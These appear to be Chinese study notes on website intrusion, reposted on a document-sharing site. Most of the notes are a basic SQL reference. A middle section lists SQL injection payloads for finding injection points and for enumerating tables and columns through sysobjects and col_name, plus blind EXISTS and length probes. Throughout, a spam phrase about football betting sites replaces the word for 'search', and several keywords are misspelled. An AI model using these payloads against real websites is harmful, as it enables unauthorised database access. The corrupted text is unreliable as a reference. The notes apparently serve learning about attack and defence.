网站入侵与脚本攻防修炼笔记.docVIP

Select:选取（查询列名）

From:子句指定了select语句中字段的来源（表段）

Where:查询条件（那个字段通常用于缩小有哪些信誉好的足球投注网站范围子句用于规定选择的标准。）WHERE关键字无法与合计函数一起使用。

Like:在where下使用意思是字段中包含n%:N开头%N：结尾%N%：包含NNOTLIKE:不包含有哪些信誉好的足球投注网站项

ORDERBY字段升(默认)ASC/降DESC(语句用于根据指定的列对结果集进行排序。)

UNION操作符用于合并两个或多个SELECT语句的结果集。（相同的只显示一个）

语法select字段from表段[…….]unionselect字段from表段[…….]

UNIONALL操作符用于合并两个或多个SELECT语句的结果集。（命令会列出所有的值）

函数

GROUPBY语句用于结合合计函数，根据一个或多个列对结果集进行分组。

常常和SUM()“相加函数”使用分组相加

例如：select字段1,SUM(字段2)from表段GREUPBY字段1“意思是把字段1分组然后把字段1分好的各组的字段2的值相加”

HAVING子句必须和GROUPBY语句一起使用用于出GROUPBY结合后的值的内容通常用于缩小结合后有哪些信誉好的足球投注网站范围

例如：select字段1，SUM(字段2)from表段GREUPBY字段1HAVINGSUM(字段2)X“筛选出结合后字段2的值”

Having1=1—爆注入点

Groupby字段名Having1=1—爆字段

爆字段（selecttop1字段from表段whereID=N）1

爆多表语句（selecttop1namefrom(selecttop[n第N个表]id,namefromsysobjectswherextype=char(85))Torderbyiddesc)1

爆多字段名（selecttop1col_name(object_id([表名]),[第N个字段名])fromsysobjects）1

LEN()函数返回文本字段中值的长度。

SUM()函数返回数值列的总数（总额）。如selectsum(字段)from表段“在标段中字段的重和”

MID(列名,n,N)函数用于从文本字段中提取字符

Access：asc(字符)?SQLServer：unicode(字)作用：返回某字符的ASCII码

COUNT(列名)函数返回指定列的值的数目

Exist（任何东东）是否存在存在为真否则为假

Exist(select*from表名)“查询是否存在这个表“

Exist(select列名from正确的表名)“查询是否存在这个列“

(Selectcount(列名)form正确的表名)=1“判断表段里的列段数是否=1查询是否存在这个列”

(selecttopnlen(列名)from表名)x

数字型原型：select*from表名where字段=50（一个有注入点页面内部SQL代码）

字符型原型：select*from表名where字段=’字符’

有哪些信誉好的足球投注网站型原型：select*from表名where字段like‘%关键字%’

限制返回行：selecttopn[PERCENE]………（N代表返回行数如果加PERCENE代表%比）

(1)数据记录筛选语句

sql=select*from数据表where字段名=字段值orderby字段名[desc]

sql=select*from数据表where字段名like‘%字段值%’orderby字段名[desc]

sql=selecttop10*from数据表where字段名orderby字段名[desc]

sql=select*from数据表where字段名in(‘值1’,’值2’,’值3’)”

sql=select*from数据表where字段名between值1and值2”

（2）更新数据记录语句

Sql=update数据表set字段名=字段值where条件表达式”

Sql=update数据表set字段1=值1，字段2=值2........字段N=值Nwhere条件表达式”

(3)删除增加数据记录语句

Sql=”deletefrom数据表where条件表达式”

Sql=”deletefrom数据表”(将数据表所有记录删除)